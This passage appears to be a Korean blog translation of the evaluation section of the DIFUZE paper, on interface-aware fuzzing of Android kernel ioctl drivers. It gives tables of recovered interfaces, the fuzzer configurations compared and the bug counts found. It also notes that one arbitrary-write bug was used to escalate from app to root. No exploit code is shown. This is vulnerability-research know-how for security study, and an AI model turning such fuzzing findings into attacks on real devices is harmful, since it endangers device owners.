width=&quot;534&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] 유효한 명령 식별자 수에 대한 ioctl 핸들러 백분율의 CDF&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 284px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 284px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 284px;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Device&amp;nbsp;Name&amp;nbsp;Identification&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;장치 이름 식별에 대한 접근 방식(4.3절)은 다른 공급 업체별 장치에서 작동할 수 있다. DIFUZE는 ioctl 핸들러의 59.44%를 차지하는 469개의 장치 이름을 자동으로 식별할 수 있다. 대부분의 식별 실패는 커널 기본 라인 드라이버에서 발생한다. 예를 들어, Xperia XA의 공급 업체 드라이버에서만 이름을 복구하면 이름의 90% 이상을 복구할 수 있다. 이러한 불일치한 이유는 기본 드라이버가 동적으로 생성된 이름(5절 및 4.3절)을 사용하는 반면, 공급 업체 드라이버는 정적 이름을 사용하는 경향이 있기 때문이다. 동적으로 생성된 이름은 수동으로 추출했다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Valid&amp;nbsp;Command&amp;nbsp;Identifiers&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;[표 3]의 네 번째 열에는 해당 커널의 모든 진입점에서 추출된 유효한 명령 식별자의 수가 표시된다. DIFUZE는 모든 커널의 모든 드라이버에서 3,565개의 유효한 명령 식별자를 발견했다. 유효한 명령 식별자의 수는 커널마다 상당히 다르다. [표 3]과 [표 5]에서 볼 수 있듯이, 퍼저가 발견한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;크래시&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;수는 유효한 명령 식별자 수와 양의 상관관계가 있다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 190px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 30px; text-align: center;&quot; rowspan=&quot;2&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 30px; text-align: center;&quot; rowspan=&quot;2&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ioctl&amp;nbsp;handlers&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 30px; text-align: center;&quot; rowspan=&quot;2&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Device&amp;nbsp;Names&amp;nbsp;Automatically&amp;nbsp;Identified&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 30px; text-align: center;&quot; rowspan=&quot;2&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Valid Command&amp;nbsp;Identifiers&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot; colspan=&quot;4&quot;&gt;&lt;b&gt;User&amp;nbsp;Argument&amp;nbsp;Types&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 10px; text-align: center;&quot;&gt;&lt;b&gt;no&amp;nbsp;cpoy_from_user&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 10px; text-align: center;&quot;&gt;&lt;b&gt;Scalar&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 10px; text-align: center;&quot;&gt;&lt;b&gt;Struct&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 10px; text-align: center;&quot;&gt;&lt;b&gt;Struct&amp;nbsp;with&amp;nbsp;pointers&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 20px; text-align: center;&quot;&gt;Pixel&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 20px; text-align: center;&quot;&gt;193&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;136&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;611&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;270&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;87&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;151&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;103&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 20px; text-align: center;&quot;&gt;E9&amp;nbsp;Plus&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 20px; text-align: center;&quot;&gt;77&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;36&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;610&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;272&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;101&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;195&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 20px; text-align: center;&quot;&gt;M9&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 20px; text-align: center;&quot;&gt;171&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;122&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;563&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;216&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;83&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;149&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;115&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 20px; text-align: center;&quot;&gt;P9&amp;nbsp;Lite&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 20px; text-align: center;&quot;&gt;71&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;30&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;384&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;187&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;56&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;118&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 20px; text-align: center;&quot;&gt;Honor&amp;nbsp;8&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 20px; text-align: center;&quot;&gt;86&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;33&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;376&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;208&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;70&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;87&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 20px; text-align: center;&quot;&gt;Galaxy&amp;nbsp;S6&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 20px; text-align: center;&quot;&gt;106&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;70&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;364&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;243&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;23&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;67&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;31&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; height: 20px; text-align: center;&quot;&gt;Xperia&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; height: 20px; text-align: center;&quot;&gt;85&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;42&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;657&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;292&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;106&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;194&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;65&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 9.88372%; text-align: center; height: 20px;&quot;&gt;Total&lt;/td&gt;
&lt;td style=&quot;width: 15.1162%; text-align: center; height: 20px;&quot;&gt;789&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; text-align: center; height: 20px;&quot;&gt;469&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; text-align: center; height: 20px;&quot;&gt;3,565&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; text-align: center; height: 20px;&quot;&gt;1,688&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; text-align: center; height: 20px;&quot;&gt;526&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; text-align: center; height: 20px;&quot;&gt;961&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; text-align: center; height: 20px;&quot;&gt;390&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[표 3] 여러 스마트폰 커널에서 DIFUZE가 복구한 인터페이스&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[그림 2]는 ioctl 핸들러 당 유효한 명령 식별자 수의 분포를 보여준다. ioctl 핸들러의 11%는 어떠한 명령도 기대하지 않는다. 이 ioctl의 코드는 조건부로 컴파일되고 커널 구성에 의해 보호된다. 컴파일하는 동안 ioctl 핸들러 코드가 비활성화되므로 생성된 바이트코드 파일에서 해당 ioctl 핸들러가 비어있는 것으로 나타나서 명령 식별 프로세스에서 명령 값이 0이 된다. ioctl 핸들러의 50%가 단일 명령 식별자로 예상한다. 대부분 v4l2_ioctl_ops에 기인한다. [부록 B]에서 설명했듯이 이들은(단일) 특정 명령을 관리하는 중첩 처리기이다. ioctl 핸들러의 대다수(98.3%)는 유효한 명령 식별자가 20개 미만이다. 20개 이상의 명령 식별자를 가진 ioctl의 나머지(1.7%)를 수동으로 조사하여 ioctl 함수의 일부에 대한 함수 포인터에 근접하는 접근 방식을 알아냈다. 그러한 과도한 추정은 후속 퍼징 단계에서 유효하지 않은 퍼지 단위를 추가로 발생시키지만 전체 성능에 미미한 영향을 미친다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;User&amp;nbsp;argument&amp;nbsp;types&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;[표 3]의 마지막 4열은 사용자가 전달한 인수(ioctl 핸들러에 대한 세 번째 인수)가 처리되는 방식을 보여준다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;1,688개(47%)의 명령 식별자에 대해 copy_from_user를 찾을 수 없다. 이것은 두 가지 범주 중 하나에 넣는다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;(1) 사용자 인수는 C 유형으로 취급되므로 사용자 인수는 원시 값으로 취급되므로 user_from_user가 없으므로 인수 유형 식별이 필요하지 않다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;(2) 또는, copy_to_user가 있는데, 여기서 사용자는 커널이 사용자에게 정보를 복사할 특정 유형의 포인터를 제공하게 된다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;커널은 사용자 데이터를 처리하지 않기 때문에 여기서도 유형 식별에 신경 쓰지 않는다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;명령 식별자의 나머지 1,877(53%)에 대해 사용자 인수는 특정 데이터 유형에 대한 포인터가 될 것으로 예상된다. 즉, 데이터를 복사하기 위해 copy_from_user 호출을 사용해야 한다. 이러한 포인터 인수는 다음과 같은 세 가지 사례로 추가 분류할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;(1) 명령 식별자의 526(15%)은 스칼라 포인터 인수를 예상한다. 예를 들어, [표 1]에서 표시한 바와 같이, 실행 사례에서 스칼라 타입 uint32_t 또는 uint8_t를 가리키는 사용자 인수를 예상하기 때문에 명령 ID 0x1003 및 0x1002는 범주에 속한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;(2) 명령 식별자의 961(30%)은 사용자 인수가 내장된 포인터가 없는 C 구조체를 가리킬 것으로 예상한다. 예를 들어, [목록 1]의 DriverStructTwo.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;(3) 명령 식별자의 390(11%)에 대해 날짜 유형은 내장된 포인터를 포함하는 C 구조체이다. 실행 예제의 경우 [표 1]에 표시된 것처럼 명령 ID 0x1001이 범주에 속하며 사용자 인수가 포함된 포인터([목록 1])를 포함하는 DriverStructOne을 가리킬 것으로 예상한다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이러한 인수는 사용자 인수가 구조체를 가리키고, 그 자체에는 포인터(유효한 포인터도 포함되어야 함)가 있을 것으로 예상되기 때문에 인수 유형 정보 없이 효과적으로 퍼지하기 매우 어렵다. 다음 3가지 사례로 분류된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Random&amp;nbsp;Sampling&amp;nbsp;Verification&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;테스트 세트에서 7개의 안드로이드 스마트폰 각각에 대해 5개의 ioctl의 랜덤으로 추출하여 추출된 유형이 올바른지 수동으로 검증했다. 35개의 ioctl에는 총 327개의 명령을 가지고 있었는데, 그중 294개의 인수와 명령을 정확히 파악하여 90%의 정확도를 제공했다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.2 평가 기준&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;DIFUZE가 장치 드라이버에서 실제 버그를 얼마나 잘 찾을 수 있는지, 그리고 추출된 인터페이스 정보를 이 기능에 미치는 영향을 확인하기 위해 프로토타입 퍼저, MangoFuzz, syzkaller를 사용하여 테스트한다. DIFUZE(m) 및 DIFUZE(s) 식별자를 사용하여 퍼징 및 on-device 실행 구성 요소로 MangoFuzz 및 syzkaller를 각각 사용하는 경우 DIFUZE를 나타낼 것이다. 또한, syzkaller에서 제공하는 인터페이스의 양을 변경하여 시스템을 평가합니다. 이런 식으로, 인터페이스 추출이 결과에 어떤 영향을 미치는지 조사할 수 있다. 구체적으로 DIFUZE의 다음과 같은 구성을 실행한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Syzkaller base&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;syzkaller는 시스템 호출 open() (장치 파일 열기) 및 ioctl (ioctl 핸들러를 트리거하기 위해)을 사용하여 퍼지만 사용해야 한다고 지정한다. 기본 구성은 몇 개의 표준 장치 파일 이름과 일반적인 리눅스 장치용 ioctls와 함께 일부 표준 유형의 구조를 포함한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Syzkaller+path&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;이 구성에서는 syzkaller가 퍼징 하려고 하는 추출된 드라이버 경로의 사양을 추가한다. 그러나 나머지 인터페이스 정보는 제공되지 않는다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DIFUZE(i)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;여기서 장치 경로와 ioctls의 추출된 인터페이스 정보는 syzkaller와 함께 퍼지로 사용된다. 이 구성은 ioctl 명령 처리를 트리거할 수 있지만, 복잡한 구조를 처리하는 코드를 탐색할 수는 없다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;DIFUZE(s)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이 구성은 ioctl 인수 구조 형식의 자동 식별을 포함한 모든 인터페이스 복구와 syzkaller를 통합한다. 이것이 syzkaller에서 발견되는 많은 최적화들을 활용할 수 있기 때문에 최고의 성능의 구성이 될 것으로 기대한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;DIFUZE(m)&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;최종 구성은 인터페이스 복구와 간단한 퍼저 프로토타입인 MangoFuzz를 통합한다. 이 구성은 다른 좋은 최적화가 없는 경우에도 인터페이스 인식 퍼징이 발견된 버그 수에 미치는 영향을 조사하기 위한 것이다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;현재 플래그쉽(flagship) 모델인 구글, 삼성, 소니, HTC를 포함하여 7개의 안드로이드 기기에서 시스템을 평가했다. 각 장치에 대해 먼저 사용 가능한 최신 버전으로 업데이트한 다음 장치를 루팅했다. On-device 구성 요소는 앱 레벨 권한으로 액세스 할 수 있는 드라이버뿐만 아니라 모든 드라이버를 퍼징할 수 있도록 루트에서 실행된다. 그러나 9절에서 논의된 바와 같이, 이 구성 요소는 표준 응용 프로그램의 형태를 취할 수도 있지만, 장치 파일(및 ioctl 핸들러)에 대한 액세스 가능성이 낮아진다. 이 설정에서는 커널을 다시 컴파일하고 컴파일된 커널을 플래시 해야 하므로 코드 커버리지 피드백이나 KASAN을 사용할 수 없다. 위에서 언급한 DIFUZE 구성은 모두 각 안드로이드 기기에서 5시간 동안 실행된다. 단일 드라이버에서 충돌이 자주 발생하는 경우 버그가 있는 ioctl 핸들러를 블랙리스트에 추가하여 스마트폰이 반복적으로 충돌하지 않고 재부팅이 실험에 방해가 되지 않도록 한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.3 결과&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;모든 충돌 로그와 시스템 호출의 충돌 시퀀스를 수집하여 수동으로 분류하여 적은 수의 중복을 필터링했다. DIFUZE는 모두 7개의 안드로이드 기기에서 36개의 고유한 버그를 찾을 수 있었다. 발견된 버그에 대한 개요는 표5에 나와있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;syzkaller가 Galaxy S6에서 작동하도록 할 수 없었고 DIFUZE(m)은 버그를 유발할 수 없었기 때문에 버그가 전혀없는 유일한 안드로이드 장치가 되었다. 다른 모든 기기에서 Xperia XA의 두 가지 취약점(Honor 8의 경우)에서 14가지 취약점을 찾아냈다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;syzkaller의 기본 구성(인터페이스 정보 없음)이 테스트에서 버그를 찾지 못했다. 올바른 드라이브 경로(syzkaller + path)를 제공하면 모든 장치에서 세번의 충돌만 발생했다. 이는 맹목적으로 퍼징하는 커널 드라이브가 그다지 효과적이지 않다는 것을 시사하며, 이는 이러한 장치를 구매자한테 배송전에 공급 업체가 테스트를 수행하기 때문일 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;추출된 ioctl 수의 형태로 부분 인터페이스 정보를 추가하면 DIFUZE(i)는 22개의 버그를 찾을 수 있다. 이 자체로는 인상적이지만, 인터페이스에 남아 있는 인터페이스 정보(ioctl 인수 구조체 정의)를 추가하면 발견된 버그 수가 54.5%나 증가해 총 34개 버그로 늘어났다. 이 결과는 인터페이스 인식 퍼징의 효과를 보여주며, 복구된 ioctl 명령 식별자와 ioctl 핸들러 분석에 대한 구조 정보의 중요성을 보여준다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;실험에서 특히 흥미로운 결과는 DIFUZE(m)이 DIFUZE보다 버그를 4개만 발견한 것이다. Syzkaller는 수많은 퍼징 전략과 최적화 기능이 내장된 새로운 도구인 반면, MangoFuzz는 6절에 설명된 것 외에 최적화가 없는 간단한 퍼징 프로토타입이다. 이것이 정확한 인터페이스 정보를 통한 퍼징하는 것이 매우 강력하다는 것을 보여준다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;각 충돌을 간단히 분류하고 장치 충돌 원인을 신속하게 분류했다. 이 결과는 [표 4]에 나와 있다. 충돌 자체가 양성으로 보이는 경우에는 종종 심각한 버그이다. 예를 들어, 악의적인 사용자가 보다 강력한 원시성을 얻기 위해 조심스럽게 조작할 수 있는 더 심각한 기본 버그에 의해 유발될 수 있다. 여기서 더해, 발견된 흥미로운 버그 중 하나는 우리가 직면한 대부분의 주장들을 우회할 수 있다는 것이다. 이러한 점검을 우회할 수 있게 됨으로써 많은 공격을 받을 수 있는 시나리오가 현실화될 수 있다. 결과의 심각성을 입증하기 위해 임의의 쓰기 취약점 중 하나를 이용하여 커널에서 코드를 실행하고 앱 레벨 권한에서 루트로 에스컬레이션했다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;현재 취약점을 공급 업체에 책임있게 공개하기 위해 노력하고 있다. 그렇게 하는 동안, 실험 과정에서 4개의 버그가 패치된 것을 발견했다. 아는 한 36개의 버그 중 나머지 32개는 제로데이이다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
